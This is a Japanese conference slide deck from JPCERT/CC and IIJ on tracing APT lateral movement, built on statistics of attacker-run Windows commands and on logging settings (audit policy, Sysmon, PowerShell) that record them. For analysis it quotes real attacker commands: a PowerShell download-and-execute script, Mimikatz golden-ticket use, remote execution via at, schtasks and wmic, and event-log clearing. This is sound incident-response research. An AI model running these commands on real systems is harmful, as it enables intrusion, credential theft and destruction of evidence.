攻撃者の行動を追跡せよ- 行動パターンに基づく横断的侵害の把握と調査 -朝長 秀誠 (JPCERTコーディネーションセンター)
六田 佳祐 (株式会社インターネットイニシアティブ)

自己紹介

朝長 秀誠 (Shusei Tomonaga)
JPCERTコーディネーションセンター 分析セン
ター
マルウエア分析、フォレンジック調査
マルウエアの分析結果やテクニカルレポートは
JPCERTのWebページやGithubで公開—https://www.jpcert.or.jp/magazine/acreport.html—https://github.com/JPCERTCC/aa-tools
1

Copyright ©2017 JPCERT/CC All rights reserved.

自己紹介

六田 佳祐 (Keisuke Muda)
株式会社インターネットイニシアティブ（IIJ）
セキュリティ本部 セキュリティビジネス推進部
セキュリティオペレーションセンター
アナリスト
IIJ SOCのメンバとしての主な業務—お客様環境に設置されたログの解析—ソフトウェアの脆弱性調査・検証—サービス及びサービス基盤の拡充
2

Copyright ©2017 JPCERT/CC All rights reserved.

インシデントレスポンスの問題点• APT インシデント調査を行う際、多数のホストを調べる必要がある• 調査に必要なログは保存されていない• 侵入後の横展開（Lateral Movement）を検知することは難しい3

Copyright ©2017 JPCERT/CC All rights reserved.

アプローチLateral Movementに使用するツールでどのようなログが記録されるのか知っていれば、調査をスムーズに行うことができる。
多くのインシデントではLateral Movementに共通のツールが使われることが分かっている。
Lateral Movementの方法にはいくつかの共通のパターンがある。
4

Copyright ©2017 JPCERT/CC All rights reserved.

本プレゼンテーションの目次

１
２

APTインシデントおよびLateral
Movementの概要
Lateral Movementで攻撃者が使うツール

３ 攻撃者の使用するツールの分析
４ ツールの実行を記録する
5

Copyright ©2017 JPCERT/CC All rights reserved.

１
２

APTインシデントおよびLateral
Movementの概要
Lateral Movementで攻撃者が使うツール

３ 攻撃者の使用するツールの分析
４ ツールの実行を記録する
6

Copyright ©2017 JPCERT/CC All rights reserved.

APTインシデントおよびLateral Movementの概要

1. 侵入
2. 初期調査

5. 情報送信
3. 探索活動
4. 感染拡大

6. 痕跡削除
7

Copyright ©2017 JPCERT/CC All rights reserved.

標的組織

AD/
ファイルサーバ１
２

APTインシデントおよびLateral
Movementの概要
Lateral Movementで攻撃者が使うツール

３ 攻撃者の使用するツールの分析
４ ツールの実行を記録する
8

Copyright ©2017 JPCERT/CC All rights reserved.

Lateral Movementで攻撃者が使うツール

攻撃者は攻撃ツールだけでなくWindowsコマンドと正規のツールも使用する。
なぜ攻撃者はWindowsコマンドと正規のツールを使用するのか？

それらはウイルス対策ソフトで検知されない9

Copyright ©2017 JPCERT/CC All rights reserved.

攻撃者が使用するツールの調査

調査方法
以下の5つの攻撃キャンペーンのC&Cサーバとマル
ウエアの通信を調査
APT10 (named by FireEye)
APT17 (named by FireEye)
Dragon OK (named by Palo Alto)Blue Termite (named by Kaspersky)
Tick (named by Symantec)
10

Copyright ©2017 JPCERT/CC All rights reserved.

調査概要

C&CサーバGstatusAccess Database11

Copyright ©2017 JPCERT/CC All rights reserved.

調査概要

C&Cサーバ
Emdivi
SQLiteDatabase

コマンド実行履歴

12

Copyright ©2017 JPCERT/CC All rights reserved.

調査概要

マルウエア通信Type

RC4 key

Daserf(Delphi) LZNT1 + RC4 + 変則 Base64

固定(検体により異なる)

DATPER(old)

LZNT1 + RC4 + 変則 Base64

固定(検体により異なる)

DATPER(new)lzrw1kh + xor + RC4 + 変則
Base64

固定(検体により異なる)

LZNT1 + RC4 + 変則 Base64

固定(“1234”)or
one-time key

xxmm

13

EncodeCopyright ©2017 JPCERT/CC All rights reserved.

調査結果の概要調査したコマンドの概要
コマンド実行総数:
16,866

14

Copyright ©2017 JPCERT/CC All rights reserved.

調査した感染端末延べ数: 645

調査結果の概要調査したコマンドの概要
コマンド実行総数:
16,866

調査した感染端末延べ数: 645

Windowsコマンド実行数: 14,268
15

Copyright ©2017 JPCERT/CC All rights reserved.

Lateral Movement: 初期調査
初期調査
• 感染した端末の情報を収集する

最も実行されることが多いコマンド: tasklist
感染したホストが解析環境だった場合、攻撃者はすぐにログアウトする
16

Copyright ©2017 JPCERT/CC All rights reserved.

初期調査で使用されるWindowsコマンド
Rank
1
2
3
4
5
6
7
8
9
10
11
12

17

Copyright ©2017 JPCERT/CC All rights reserved.

Commandtasklistver
ipconfig
net time
systeminfo
netstatwhoaminbtstatnet start
set
qprocess
nslookup

Count
327
182
145
133
75
42
37
36
35
29
27
11

Lateral Movement: 探索活動
探索活動
• ネットワーク内ホストやリモートホストに保存されている情報を調査

最も実行されることが多いコマンド: dir—攻撃者は、感染したホストに保存されている機密情報を調査する
ローカルネットワークの調査にはnetを使用する
18

Copyright ©2017 JPCERT/CC All rights reserved.

探索活動で使用されるWindowsコマンド
Rank
1
2
3
4
5
6
7
8
9
10
11
12

19

Copyright ©2017 JPCERT/CC All rights reserved.

Commanddirping
net view
type
net useecho
net usernet group
net localgroupdsquery
net config
csvde

Count
4466
2372
590
543
541
496
442
172
85
81
32
21

net コマンド
net view— 接続可能なドメインのリソース一覧取得

net user— ローカルおよびドメインのアカウント管理

net localgroup— ローカルのグループに所属するユーザ一覧取得

net group— 特定ドメインのグループに所属するユーザ一覧取得

net use— リソースへのアクセス
20

Copyright ©2017 JPCERT/CC All rights reserved.

なぜ、pingコマンドは数多く実行されるのか?

pingコマンドを使用したホストの探索> echo @echo off >ee.bat> echo for /l %%i in (1,1,255) do ping -n 1
10.0.0.%%i ^|find "TTL=" ^>^>rr.txt >>ee.bat> type ee.bat> ee.bat21

Copyright ©2017 JPCERT/CC All rights reserved.

なぜ、echoコマンドを実行するのか?

echoコマンドを使ってスクリプトファイルを作成> echo $p = New-Object System.Net.WebClient >xz.ps1> echo $p.DownloadFile("http://xxxxxxxxxx.com/wp/0122.
dat","c:¥intel¥logs¥0122.exe") >>xz.ps1> type xz.ps1> powershell -ExecutionPolicy ByPass -File C:¥intel¥logs¥
xz.ps122

Copyright ©2017 JPCERT/CC All rights reserved.

探索活動で使用されるWindowsコマンド
Rank
13
14
15
16
17
18
19
20
21
22
23
24

23

Copyright ©2017 JPCERT/CC All rights reserved.

Command
net sharequser
net session
query
tracertcscript
nltestdumpeltree
LogParser
net accounts
route

Count
19
18
17
12
9
9
5
5
3
2
2
1

イベントログのログオンイベントを調査

dumpel command> dumpel.exe -f ac1.dat -l security -s ¥¥10.0.0.1 -d 10

LogParser command> LogParser ""Select *From V:¥Server¥Security.evtx
Where EventID=4624 AND TimeGenerated < '2017-04-28
23:59:59' AND TimeGenerated > '2017-04-28 00:00:00'""-i:evt -o:csv > V:¥Server¥Security.csv"
24

Copyright ©2017 JPCERT/CC All rights reserved.

イベントログのログオンイベントを調査

LogParser command 2> LogParser -i:evt -o:csv ¥select strings,timegenerated
from security where eventid=4624 and strings like ‘%min%'and strings like '%winlogon.exe%' and (timegenerated
between TO_TIMESTAMP(‘2017-10-01’, 'yyyy-MM-dd’) and
TO_TIMESTAMP(‘2017-10-06', 'yyyy-MM-dd'))¥ >c:¥windows¥temp¥log.csv

25

Copyright ©2017 JPCERT/CC All rights reserved.

イベントログのログオンイベントを調査

cscript command> cscript eventquery.vbs /s 10.0.1.11 /l application /fi "id eq
22 "eventquery.vbs—一つまたは複数のイベントログのイベントとプロパ
ティを一覧表示する—Windows XP, Windows Server 2003にデフォルトでインストールされている (Windows 7以上では動作しな
い)26

Copyright ©2017 JPCERT/CC All rights reserved.

Lateral Movement: 感染拡大
感染拡大
• 他のマルウエアを感染させたり、他のホストにア
クセスする

最も実行されることが多いコマンド: at—atコマンドはWindows 10, Windows 8.1などではサポートされていない—もし、atコマンドが使えない場合は、schtasks

パスワードダンプツールは必ず使用される
27

Copyright ©2017 JPCERT/CC All rights reserved.

感染拡大に使用されるWindowsコマンド
Rank
1
2
3
4
5
6
7
8
9
10
11
12

28

Copyright ©2017 JPCERT/CC All rights reserved.

Commandatmoveschtasks
copy
ren
reg
wmic
powershell
md
runas
sc
netsh

Count
445
399
379
299
151
119
40
29
16
7
6
6

Windowsコマンドを使ったリモートコマンド実行at command> at ¥¥[IP Address] 12:00 cmd /c"C:¥windows¥temp¥mal.exe"
schtasks command> schtasks /create /tn [Task Name] /tr C:¥1.bat /sc
onstart /ru System /s [IP Address]
29

Copyright ©2017 JPCERT/CC All rights reserved.

Windowsコマンドを使ったリモートコマンド実行

wmic command> wmic /node:[IP Address] /user:”[User Name]”/password:”[PASSWORD]” process call create“cmd /c c:¥Windows¥System32¥net.exe user”

30

Copyright ©2017 JPCERT/CC All rights reserved.

MOFファイルのコンパイル
MOF(Managed Object Format)コンパイラは、ファイルを解析し、ファイルに定義されているクラスとクラスイン
スタンスをWMIリポジトリに追加する

mofcomp command> move %temp%¥mseinst.mof ¥¥server¥C$¥WINDOWS¥
system32¥wbem¥svmon.mof> mofcomp -N:root¥default C:¥WINDOWS¥system32¥wbem¥svmon.mof >c:¥mofinst.txt> mofcomp -AUTORECOVER C:¥WINDOWS¥system32¥wbem¥svmon.mof >>c:¥mofinst.txt
31

Copyright ©2017 JPCERT/CC All rights reserved.

Lateral Movement: 痕跡削除
痕跡削除
• 攻撃者の使用したファイルおよびログの削除

最も実行されることが多いコマンド: delイベントログの削除にはwevtutil

32

Copyright ©2017 JPCERT/CC All rights reserved.

痕跡削除に使用されるWindowsコマンド
Rank
1
2
3
4
5

33

Copyright ©2017 JPCERT/CC All rights reserved.

Commanddeltaskkill
klist
wevtutil
rd

Count
844
80
73
23
15

wevtutil command

イベントログの削除> wevtutil cl security
ログオンイベントログの検索> wevtutil qe security /f:text /q:""*[System[EventID=4624 or EventID=4769 or EventID=4672 or
EventID=4768]] and *[System[TimeCreated[@
SystemTime>='2017-07-10T00:00:00.000']]]"">c:¥windows¥system32¥log.txt
34

Copyright ©2017 JPCERT/CC All rights reserved.

wevtutil command

起動イベントログの検索> wevtutil qe system /count:20 /rd:true /f:text /q:""Event[System[(EventID=6005)]]"" |find ""Date"" >inf.txt

35

Copyright ©2017 JPCERT/CC All rights reserved.

Pass-the-Ticketの痕跡削除

攻撃者は他のホストに感染を拡大する際、Pass-theticketを使う—Pass-the-hashはほとんど使われていない

Pass-the-ticket—追加の認証なしでアクセスを許可する不正なチケットを発行し、認証に使用する—Golden ticket
TGTを使用 (Ticket-Granting Tickets)—Silver ticket

STを使用 (Service Ticket)

36

Copyright ©2017 JPCERT/CC All rights reserved.

Pass-the-Ticketの痕跡削除

klist command> klist purge

37

Copyright ©2017 JPCERT/CC All rights reserved.

コマンド実行の流れ

例 (Tick)> cd ¥intel¥logs
初期調査> whoami> klist> net use
Golden Ticket with Mimikatz> klist purge> IntelGFX.exe "kerberos::golden /user:administrator /domain:[Domain]/sid:[SID] /krbtgt:[RC4 Key] /group:502 /ticket:0422.tck" exit
> IntelGFX.exe "kerberos::ptt 0422.tck" exit
> ping -n 1 10.1.44.16> ping -n 1 10.1.2.16
探索活動> net use ¥¥10.1.2.16> dir ¥¥10.1.2.16¥c$¥users
38

Copyright ©2017 JPCERT/CC All rights reserved.

> copy bb.bat ¥¥10.1.2.16¥c$¥windows¥system32¥> net time ¥¥10.1.2.16> at ¥¥10.1.2.16 12:27 bb.bat> dir ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt> move ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt .
感染拡大> del ¥¥10.1.2.16¥c$¥windows¥system32¥bb.bat> copy zt.exe ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe> net time ¥¥10.1.2.16> at ¥¥10.1.2.16 12:33 mscfg.exe> dir ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe> del ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt> del ¥¥10.1.2.16¥c$¥windows¥tasks¥at*.job> net use ¥¥10.1.2.16 /del
> dir
痕跡削除
> del zt.exe inf.txt bb.bat> dir> net use
39

Copyright ©2017 JPCERT/CC All rights reserved.

１
２

APTインシデントおよびLateral
Movementの概要
Lateral Movementで攻撃者が使うツール

３ 攻撃者の使用するツールの分析
４ ツールの実行を記録する
40

Copyright ©2017 JPCERT/CC All rights reserved.

調査において取得したい情報使用された 端末

実行されたアカウント (権限)ツール

アクセスされたファイル・情報

通信
再度侵入される可能性 の有無

発生した

41

Copyright ©2017 JPCERT/CC All rights reserved.

調査において取得したい情報使用された 端末

アカウント (権限)ログオン履歴から調査
実行された

ツール

実行履歴から調査
アクセスされたファイル・情報

通信
再度侵入される可能性 の有無

発生した

アクセス履歴・実行履歴から調査
42

Copyright ©2017 JPCERT/CC All rights reserved.

取得したい情報と実際に取得される情報
Windows初期設定で取得される情報— クライアントOS

ログオンの成功・失敗
ログオフの成功
一部ポリシー変更の成功 程度— サーバOS

クライアントOSの項目 + 認証周りに関する成功の監査「ログオン履歴」はある程度追跡可能「実行履歴」及び「アクセス履歴」は、Windows初期設定のログから取得することは難しい
43

Copyright ©2017 JPCERT/CC All rights reserved.

調査に向けて初期状態では調査に必要な情報が揃わない—情報を揃えるための手段が必要—調査手法や確認ポイントをまとめた資料があまり無い「標準では記録されないが、設定により記録することが可能」な項目が複数ある—どの項目を見るのか、を整理する必要がある

44

Copyright ©2017 JPCERT/CC All rights reserved.

インシデント調査のための攻撃ツール等の実行痕跡調査

攻撃に使用されるツールやコマンドを分析—攻撃者の行動パターンに基づき、攻撃で使用されることが多かった49種のツールを調査
約1/3はWindows正規のツール—仮想環境上での実行時に記録された情報を抽出

45

Copyright ©2017 JPCERT/CC All rights reserved.

インシデント調査のための攻撃ツール等の実行痕跡調査

攻撃に使用されるツールやコマンドを分析—攻撃者の行動パターンに基づき、攻撃で使用されることが多かった49種のツールを調査
約1/3はWindows正規のツール—仮想環境上での実行時に記録された情報を抽出

ほとんどのツールにおいて十分な情報を取得するには追加のログ設定が必要

46

Copyright ©2017 JPCERT/CC All rights reserved.

調査結果の公表

JPCERT/CCホーム
ページで公開中— https://www.jpcert.or.jp/research/ir_research.html— 日本語・英語

2016年に公開
2017年更新版を
本日公開— 英語版は12月公開予定

47

Copyright ©2017 JPCERT/CC All rights reserved.

調査結果の公表

ツール毎の主要な確認ポイントを掲載

48

Copyright ©2017 JPCERT/CC All rights reserved.

調査項目

Windowsログ—Windows初期状態から取得可能なログ—追加設定することで取得可能なログ

レジストリ
パフォーマンス向上用のキャッシュ情報
ファイルシステム
ファイル、フォルダの閲覧履歴
ネットワーク通信
49

Copyright ©2017 JPCERT/CC All rights reserved.

調査の結果確認した中では、イベントログ系が最も有用
監査
ポリシー

50

Copyright ©2017 JPCERT/CC All rights reserved.

Sysmon

各種アプリ
ケーション
ログ

調査の結果確認した中では、イベントログ系が最も有用
監査
ポリシー

Sysmon

各種アプリ
ケーション
ログ

イベントログ以外にも、一部で有効な情報を確認
USN
ジャーナル

51

Copyright ©2017 JPCERT/CC All rights reserved.

パケット
キャプチャ

調査の結果確認した中では、イベントログ系が最も有用
監査
ポリシー

Sysmon

各種アプリ
ケーション
ログ

今回は主に
こちら

イベントログ以外にも、一部で有効な情報を確認
USN
ジャーナル

52

Copyright ©2017 JPCERT/CC All rights reserved.

パケット
キャプチャ

１
２

APTインシデントおよびLateral
Movementの概要
Lateral Movementで攻撃者が使うツール

３ 攻撃者の使用するツールの分析
４ ツールの実行を記録する
53

Copyright ©2017 JPCERT/CC All rights reserved.

ツールの実行を記録する

ツール実行の記録には、追加の設定が必要
追跡可能な情報量に大きな差—設定が無いと、十分な追跡が出来ないケースも54

Copyright ©2017 JPCERT/CC All rights reserved.

例： Get-GPPPassword.ps1

GitHub上に公開されているPowerShellスクリプト
グループポリシー設定に保存されている、プレーン
テキストのパスワードを取得する— MS14-025が未適用の場合にパスワードが保存可能

今回はこのような、PowerShellスクリプトが侵入した攻撃者によって実行されることを想定
55

Copyright ©2017 JPCERT/CC All rights reserved.

実行履歴の調査想定される攻撃手順の例

56

1. 侵入経路の確保

何らかの形でRATなどがインストールされる（本講演ではスコープ外）

2. 環境調査

ADドメイン名やドメインコントローラのFQDNなど、攻撃に必要な情報が取得される

3. スクリプト実行許可

PowerShellスクリプトの実行が許可される（デフォルトでは無効）

4. スクリプトダウンロード

スクリプトをダウンロードされる

5. スクリプト実行

ダウンロードしたスクリプトを実行される

6. 痕跡削除

各種実行の痕跡を削除される

Copyright ©2017 JPCERT/CC All rights reserved.

調査において取得したい情報使用された 端末

アカウント (権限)ログオン履歴から調査
実行された

ツール

実行履歴から調査
アクセスされたファイル・情報

通信
再度侵入される可能性 の有無

発生した

アクセス履歴・実行履歴から調査
57

Copyright ©2017 JPCERT/CC All rights reserved.

普段のログオンと変わらず、見分けがつかないPowerShellが実行された
ようだが、何を実行したかは不明

実行履歴の調査方針想定される攻撃手順の例

58

1. 侵入経路の確保（本講演ではスコープ外）

2. 環境調査「監査ポリシー」を用いて使用されたアカウントとコマンドを調査

3. スクリプト実行許可

PowerShellの実行履歴及びレジストリの変更
内容から、スクリプト実行許可を追跡

4. スクリプトダウンロード

ネットワークの通信ログから、スクリプトのダウンロードを調査

5. スクリプト実行

PowerShellの実行履歴及びコマンドの実行履
歴から、実行された内容を追跡

6. 痕跡削除

痕跡が削除された場合への対策

Copyright ©2017 JPCERT/CC All rights reserved.

実行履歴の調査方針想定される攻撃手順の例

59

1. 侵入経路の確保（本講演ではスコープ外）

2. 環境調査「監査ポリシー」を用いて使用されたアカウントとコマンドを調査

3. スクリプト実行許可

PowerShellの実行履歴及びレジストリの変更
内容から、スクリプト実行許可を追跡

4. スクリプトダウンロード

ネットワークの通信ログから、スクリプトのダウンロードを調査

5. スクリプト実行

PowerShellの実行履歴及びコマンドの実行履
歴から、実行された内容を追跡

6. 痕跡削除

痕跡が削除された場合への対策

Copyright ©2017 JPCERT/CC All rights reserved.

監査ポリシー

Windows標準の機能—まずはここから初期状態のWindowsでは、監査される設定はごく一部—情報としては不十分

60

Copyright ©2017 JPCERT/CC All rights reserved.

SysmonWindows Sysinternalsの一部— https://docs.microsoft.com/ja-jp/sysinternals/downloads/sysmon

無償で公開されており、インストール出来れば誰でも利用可能

61

Copyright ©2017 JPCERT/CC All rights reserved.

SysmonWindows Sysinternalsの一部— https://docs.microsoft.com/ja-jp/sysinternals/downloads/sysmon

無償で公開されており、インストール出来れば誰でも利用可能
取得可能になる情報（2017年5月公開のバージョン6.10時点）

62

プロセスの
作成・終了

ドライバの
読み込み

ディスクの
RAW読み込み

ファイル作成
日時の変更

イメージの
読み込み

ファイルの作成

ネットワーク接続

リモート
スレッド作成レジストリ
イベント

Copyright ©2017 JPCERT/CC All rights reserved.

パイプの
作成・接続

WMIの実行

別プロセスの
メモリ領域
へのアクセス

ファイル
ストリーム
作成

ログから追跡するメリット

常時ログを取得
後から調査しても分からない情報を記録可能
例： 一時ファイルを作成するツール
後から調査しても・・・

ファイルが残存していない
フォレンジックでは・・・「ファイルが作成された」ことは分かるが、その内容を調査す
ることは難しい63

Copyright ©2017 JPCERT/CC All rights reserved.

ログ取得に
より・・・

アプリケーションや、ファイル作成時のコマンドラインを追跡可能に

適切なログ出力設定
悪い例— 「よく分からないので全部のログを取得する」「全部取得して後から絞り込む」がポリシーであれば全部取得すること自体は悪くない

初期設定では、所定容量を超えると古いログから上書きされる— ドメインコントローラ： 128MB— その他： 20MB

必要な情報が埋もれてしまう場合がある— 追加の監査設定なし： 数週間のログが保管される— 追加の監査設定あり： 早い時には数時間でログが上書きされる

64

Copyright ©2017 JPCERT/CC All rights reserved.

取得効果のあるイベント（”セキュリティ”イベント）

特に「効果がある」と判断したイベント

65

ログオン
4611 4624 4648
4776 4778

プロセス実行
4688

アカウント管理4720 4722 4724
4726 4728 4737
4738

ハンドル
4656 4658 4659
4660 4661 4663
4690

ログオフ
4634 4779

プロセス終了4689

ポリシー変更4670 4904 4905
4946 4947

VSS
8222

特権の使用
4672 4673 4674
4703 4768 4769
4771

フィルタリング
プラットフォーム
5156

ファイル共有5140 5142
5144 5145

Copyright ©2017 JPCERT/CC All rights reserved.

取得効果のあるイベント（Windows標準のイベント）

下記は設定せずとも記録されるシステム
7036 7040 7045

アプリケーション
102 103 105 216
300 302 2001
2003 2005 2006
イベント消去(各種ログ)
104
66

Microsoft-Windows-Application-Experience/Program-Telemetry

Microsoft-Windows-Kernel-PnPConfig/Configuration

Microsoft-Windows-Bits-Client/Operational

Microsoft-Windows-PowerShell/Operational

Microsoft-Windows-DeviceSetupManager/AdminMicrosoft-Windows-WinRM/Operational

Microsoft-Windows-Kernel-PnP/Configuration

Microsoft-Windows-Windows-WMI-Activity/Operational

Copyright ©2017 JPCERT/CC All rights reserved.

Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
Microsoft-Windows-TerminalServices-RemoteConnection
Manager/Operational
Microsoft-Windows-TerminalServices-RDPClient/Operational

取得効果のあるイベント（Sysmonイベント）

特に「効果がある」と判断したイベント
プロセス実行
1

ネットワーク接続
3「セキュリティ」と併用「セキュリティ」と併用

プロセス終了5

CreateRemoteThread8「セキュリティ」と併用

RawAccessRead
967

Copyright ©2017 JPCERT/CC All rights reserved.

Process Accessed10
作成日時変更2
レジストリ
12, 13

監査ログとSysmon (1)似たような内容のイベントが記録される場合も—Sysmonの情報が全体的に有用—監査ログにしか記録されない情報もある
監査ログ

68

Copyright ©2017 JPCERT/CC All rights reserved.

Sysmon実行履歴の調査方針想定される攻撃手順の例

69

1. 侵入経路の確保（本講演ではスコープ外）

2. 環境調査「監査ポリシー」を用いて使用されたアカウントとコマンドを調査

済

3. スクリプト実行許可

PowerShellの実行履歴及びレジストリの変更
内容から、スクリプト実行許可を追跡

レジストリ
のみ済

4. スクリプトダウンロード

ネットワークの通信ログから、スクリプトのダウンロードを調査

5. スクリプト実行

PowerShellの実行履歴及びコマンドの実行履 「PowerShellが実行された」
歴から、実行された内容を追跡

6. 痕跡削除

痕跡が削除された場合への対策

Copyright ©2017 JPCERT/CC All rights reserved.

PowerShellのログ取得

初期設定では、PowerShellが実行されたことは
記録される

70

Copyright ©2017 JPCERT/CC All rights reserved.

PowerShellのログ取得

追加設定により、実行内容を記録することが可能—Windows 10—追加パッケージをインストールした、
それ以前のWindows

71

Copyright ©2017 JPCERT/CC All rights reserved.

PowerShellのログ取得

スクリプトの内容が丸々イベントログに記録
コマンド履歴は別のファイルに保管
スクリプト

72

Copyright ©2017 JPCERT/CC All rights reserved.

コマンド履歴(%AppData%¥Microsoft¥Windows¥PowerShell¥PSReadline)

実行履歴の調査方針想定される攻撃手順の例

73

1. 侵入経路の確保（本講演ではスコープ外）

2. 環境調査「監査ポリシー」を用いて使用されたアカウントとコマンドを調査

済

3. スクリプト実行許可

PowerShellの実行履歴及びレジストリの変更
内容から、スクリプト実行許可を追跡済

4. スクリプトダウンロード

ネットワークの通信ログから、スクリプトのダウンロードを調査

5. スクリプト実行

PowerShellの実行履歴及びコマンドの実行履
歴から、実行された内容を追跡

6. 痕跡削除

痕跡が削除された場合への対策

Copyright ©2017 JPCERT/CC All rights reserved.

済ネットワーク通信の調査

通信経路上にネットワーク機器がある場合— ファイアウォール、Webプロキシ、IDS/IPS などのログ

74

Copyright ©2017 JPCERT/CC All rights reserved.

ネットワーク通信の調査

通信経路上にネットワーク機器がある場合— ファイアウォール、Webプロキシ、IDS/IPS などのログ

通信経路上にネットワーク機器が無い場合
Windowsフィルタリング
プラットフォーム（Windowsファイアウォール）75

Copyright ©2017 JPCERT/CC All rights reserved.

Sysmon
イベント3(Network connection detected)

共有フォルダへの
アクセスログ（ドメインコントローラ上）

監査ログとSysmon (2)
通信ログもプロセス監査と同様に、監査ログとSysmonの両方に情報が記録される
監査ログ

76

Copyright ©2017 JPCERT/CC All rights reserved.

Sysmonファイルのダウンロード

ファイルダウンロードにおける履歴—PowerShell

Invoke-WebRequest、
System.Net.WebClient.DownloadFile など
PowerShellの実行履歴から確認—Webブラウザ

ダウンロード履歴
一時ファイル（Temporary Internet Files）への作成履歴

この場合は、ここまでに設定した内容で確認可能
77

Copyright ©2017 JPCERT/CC All rights reserved.

実行履歴の調査方針想定される攻撃手順の例

78

1. 侵入経路の確保（本講演ではスコープ外）

2. 環境調査「監査ポリシー」を用いて使用されたアカウントとコマンドを調査

済

3. スクリプト実行許可

PowerShellの実行履歴及びレジストリの変更
内容から、スクリプト実行許可を追跡済

4. スクリプトダウンロード

ネットワークの通信ログから、スクリプトのダウンロードを調査

済

5. スクリプト実行

PowerShellの実行履歴及びコマンドの実行履
歴から、実行された内容を追跡済

6. 痕跡削除

痕跡が削除された場合への対策

Copyright ©2017 JPCERT/CC All rights reserved.

使用されたファイルの削除

監査ポリシーから追跡することが可能

攻撃者が自身のサイトにアップロードするため、内容をRARやZIPなどのアーカイブにまとめ、送信した場合・・・—一時的にアーカイブファイルが作成され、後に削除

79

Copyright ©2017 JPCERT/CC All rights reserved.

痕跡の削除管理者権限があれば、イベントログは削除する
ことが可能
ファイルに残る履歴であれば、ファイルを削除すれば追跡が難しくなる
痕跡が削除された場合を想定した準備が必要
80

Copyright ©2017 JPCERT/CC All rights reserved.

削除されないためには

ホスト上のログは、侵入された時点で消去される可能性がある他のホストに、リアルタイムにログを転送—イベント サブスクリプション—Syslog形式などで送信—定期的なログファイルのバックアップ

81

Copyright ©2017 JPCERT/CC All rights reserved.

実行履歴の調査方針想定される攻撃手順の例

82

1. 侵入経路の確保（本講演ではスコープ外）

2. 環境調査「監査ポリシー」を用いて使用されたアカウントとコマンドを調査

済

3. スクリプト実行許可

PowerShellの実行履歴及びレジストリの変更
内容から、スクリプト実行許可を追跡済

4. スクリプトダウンロード

ネットワークの通信ログから、スクリプトのダウンロードを調査

済

5. スクリプト実行

PowerShellの実行履歴及びコマンドの実行履
歴から、実行された内容を追跡済

6. 痕跡削除

痕跡が削除された場合への対策

済

Copyright ©2017 JPCERT/CC All rights reserved.

本手法の弱点

ログ取得量のチューニングが必要—必要なログが埋もれてしまわないように

ホスト上のログが削除されると、追跡が難しくなる—ログを別ホストに回収するなどの工夫が必要

83

Copyright ©2017 JPCERT/CC All rights reserved.

本手法の効果

ツールの実行履歴を調査することが可能となる—初期設定のままでは追跡不可—設定変更・フリーソフトウェアの範囲である程度の
調査が可能

84

Copyright ©2017 JPCERT/CC All rights reserved.

効果を高める

本調査は「Windows標準機能 + Sysmon」
を主に使用
別のツールを加えることで、更に調査し易くする—ネットワーク監視—エンドポイント監視

85

Copyright ©2017 JPCERT/CC All rights reserved.

など

まとめ

一般的にLateral Movementには特定のツール
およびコマンドが使用される
監査ポリシーとSysmonを使うことで多くのツールを検知することができる
調査レポートはAPTインシデントを調査する際に活用することができる
86

Copyright ©2017 JPCERT/CC All rights reserved.

Thank you
Q&A
https://www.jpcert.or.jp/research/ir_research.html

87

Copyright ©2017 JPCERT/CC All rights reserved.